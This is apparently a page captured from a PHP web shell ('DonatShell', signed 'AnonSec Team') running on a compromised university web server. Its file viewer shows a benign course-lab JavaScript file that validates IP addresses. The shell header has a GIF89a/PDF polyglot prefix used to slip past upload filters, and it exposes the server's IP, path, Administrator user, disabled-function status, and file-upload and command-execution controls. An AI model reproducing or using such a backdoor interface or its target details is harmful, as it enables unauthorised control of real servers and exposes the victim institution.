GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/MichaelMalz/CST2608/Labs/Lab02/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/MichaelMalz/CST2608/Labs/Lab02//Lab02.js
// /JimMartinson/CST2608/Labs/Lab02/Lab02.js

var ids = ['inp_adapter2b','inp_adapter2','inp_adapter1','inp_ipaddress'/** /,'inp_gateway'/**/,'inp_yaml1b','inp_yaml1'];
var octetDefaults = ['','aaa','bbb','ccc','ddd'];
var ipaddress = { valid:false };
var gateway = { valid:false };
// CheckAddresses(e)
// 
function CheckAddresses(e) {
	var DEBUG = true;
	if ( DEBUG ) { console.group('CheckAddresses[e.id='+e.id+']'); }
	var content;
	var el;
	var i;
	var id;
	var octetSpans;
	for ( i=0; i<ids.length; i++) { // loop thru ids.
		id = ids[i];
		el = document.getElementById(id);
		content = el.value;
		switch ( id ) {
			case 'adapter1':
				document.getElementById('spn_adapter1').innerHTML = content;
			break;
			case 'inp_adapter2b':
				document.getElementById('inp_adapter2').value = content;
				document.getElementById('spn_adapter2').innerHTML = content;
				document.getElementById('spn_adapter2b').innerHTML = content;
				document.getElementById('spn_adapter2c').innerHTML = content;
				document.getElementById('spn_adapter2d').innerHTML = content;
			break;
			case 'inp_adapter2':
				document.getElementById('inp_adapter2b').value = content;
				document.getElementById('spn_adapter2').innerHTML = content;
				document.getElementById('spn_adapter2b').innerHTML = content;
				document.getElementById('spn_adapter2c').innerHTML = content;
				document.getElementById('spn_adapter2d').innerHTML = content;
			break;
			case 'inp_ipaddress':
				ipaddress = Get_Octets(id,content);
			break;
			/** /
			case 'inp_gateway':
				gateway = Get_Octets(id,content);
				if ( DEBUG ) { console.log('ipaddress.valid='+ipaddress.valid+' gateway.valid='+gateway.valid); }
				if ( ipaddress.valid && gateway.valid ) {
					if ( DEBUG ) {
						console.log('ipaddress='+JSON.stringify(ipaddress));
						console.log('gateway='+JSON.stringify(gateway));
					}
					if ( ipaddress.octets[1] !== gateway.octets[1] || ipaddress.octets[2] !== gateway.octets[2] || ipaddress.octets[3] !== gateway.octets[3]) {
						gateway.valid = false;
						gateway.condition = 'The gateway address must be on the same network as the ip address';
						gateway.oclass = 'error';
					}
				}
			break;
			/**/
			case 'inp_yaml1b':
				document.getElementById('inp_yaml1').value = content;
				document.getElementById('spn_yaml1').innerHTML = content;
				document.getElementById('spn_yaml1b').innerHTML = content;
				document.getElementById('spn_yaml1c').innerHTML = content;
				console.log('spn_yaml1='+content);
			break;
			case 'inp_yaml1':
				document.getElementById('inp_yaml1b').value = content;
				document.getElementById('spn_yaml1').innerHTML = content;
				document.getElementById('spn_yaml1b').innerHTML = content;
				document.getElementById('spn_yaml1c').innerHTML = content;
				console.log('spn_yaml1='+content);
			break;
		} // switch id
	} // loop thru ids.
	if ( DEBUG ) {
		console.log('ipaddress='+JSON.stringify(ipaddress));
		console.log('gateway='+JSON.stringify(gateway));
	}
	/**/
	for ( i=1; i<=4; i++) {
		if ( ipaddress.octets[i] !== '' ) {
			SetOctets(i,ipaddress.octets[i]);
		} else {
			SetOctets(i,false);
		}
	}
	if ( ipaddress.valid ) {
		// Set default gateway if not set.
		if ( e.id === 'inp_ipaddress' ) {
			if ( DEBUG ) {
				console.log('ipaddress='+JSON.stringify(ipaddress));
				console.log("document.getElementById('inp_gateway').value="+document.getElementById('inp_gateway').value);
				document.getElementById('spn_address').innerHTML = document.getElementById('inp_ipaddress').value;
			}
			if ( document.getElementById('inp_gateway').value === '') {
				content =ipaddress.octets[1]+'.'+ipaddress.octets[2]+'.'+ipaddress.octets[3]+'.1'
				document.getElementById('inp_gateway').value = content;
				document.getElementById('gatewayAddress').innerHTML = content;
			}
			gateway = Get_Octets('inp_gateway',content);
		} else {
			if ( DEBUG ) { console.log('Do not preset gateway.')}
		}
	} else {
		if ( ipaddress.oclass === 'error' ) {
			for ( i=1; i<=4; i++) {
				SetOctets(i,false);
			}
		}		
	}
	/**/
	var addressesText = '<span class="'+ipaddress.oclass+'">'+ipaddress.condition+'.</span>';
	document.getElementById('div_addressesText').innerHTML = addressesText;
	var gatewayText = '<span class="'+gateway.oclass+'">'+gateway.condition+'.</span>';
	//document.getElementById('div_gatewayText').innerHTML = gatewayText;
	if ( DEBUG ) { console.groupEnd(); }
} // END CheckAddresses.

// SetOctets(octetIndex, address)
// 
function SetOctets(octetIndex, address) {
	var DEBUG = false;
	if ( DEBUG ) { console.group('SetOctets[octetIndex='+octetIndex+' address='+address+']'); }
	var octetBs = document.getElementsByClassName('octet'+octetIndex);
	var octetB;
	for ( var i=0; i<octetBs.length; i++ ) {
		octetB = octetBs[i];
		if ( address !== false ) {
			octetB.innerHTML = address;
		} else {
			octetB.innerHTML = octetDefaults[octetIndex];
		}
	}
	if ( DEBUG ) { console.groupEnd(); }
} // END SetOctets.

// Get_Octets(id, address)
// 
function Get_Octets(id, address) {
	var DEBUG = false;
	if ( DEBUG ) { console.group('Get_Octets[id='+id+' address='+address+']'); }
	var octets = ('000.'+address).split('.');
	var oclass = 'warning';
	var condition;
	switch ( id ) {
		case 'inp_ipaddress':
			condition = 'The ip address';
		break;
		case 'inp_gateway':
			condition = 'The gateway address';
		break;
	}
	var valid = null;
	var i;
	if ( DEBUG ) { console.log(id+' octets='+octets); }
	for ( i=1; i<=4; i++ ) {
		if ( (typeof octets[i] !== 'undefined') && octets[i] !== '' ) { octets[i] = parseInt(octets[i]); } else { octets[i] = ''; }
	}
	if ( DEBUG ) { console.log(id+' octets='+octets); }
	for ( i=1; i<octets.length; i++ ) {
		if ( DEBUG ) { console.log(id+' octets['+i+']='+octets[i]); }
		if ( octets[i] !== '' && isNaN(octets[i]) ) {
			oclass = 'error';
			condition = condition+' is not a valid '+'address';
		}
	}
	if ( DEBUG ) { console.log(id+' oclass='+oclass); }
	if ( oclass !== 'error' ) {
		if ( octets[1] === '' ) { // Check for any entry.
			condition = condition+' has not been entered';
		} else {
			if ( octets[4] === '' ) { // Check for 4 octet entries.
				condition = condition+' is incomplete';
			} else { // Check for valid address.
				valid = ValidateIPaddress(address);
				if ( valid ) {
					oclass = 'info';
					condition = condition+' is OK';
				} else {
					oclass = 'error';
					condition = condition+' is not a valid '+'address';
				}
			}
		}
	}
	if ( DEBUG ) { console.groupEnd(); }
	return { "valid":valid, "oclass":oclass, "condition":condition, "octets":[0,octets[1],octets[2],octets[3],octets[4]] };
} // END Get_Octets.

function ValidateIPaddress(ipaddress) {
 if (/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(ipaddress)) {
    return (true);
  }
	//alert("You have entered an invalid IP address!");
	return (false);
} // END ValidateIPaddress.

Anon7 - 2022
AnonSec Team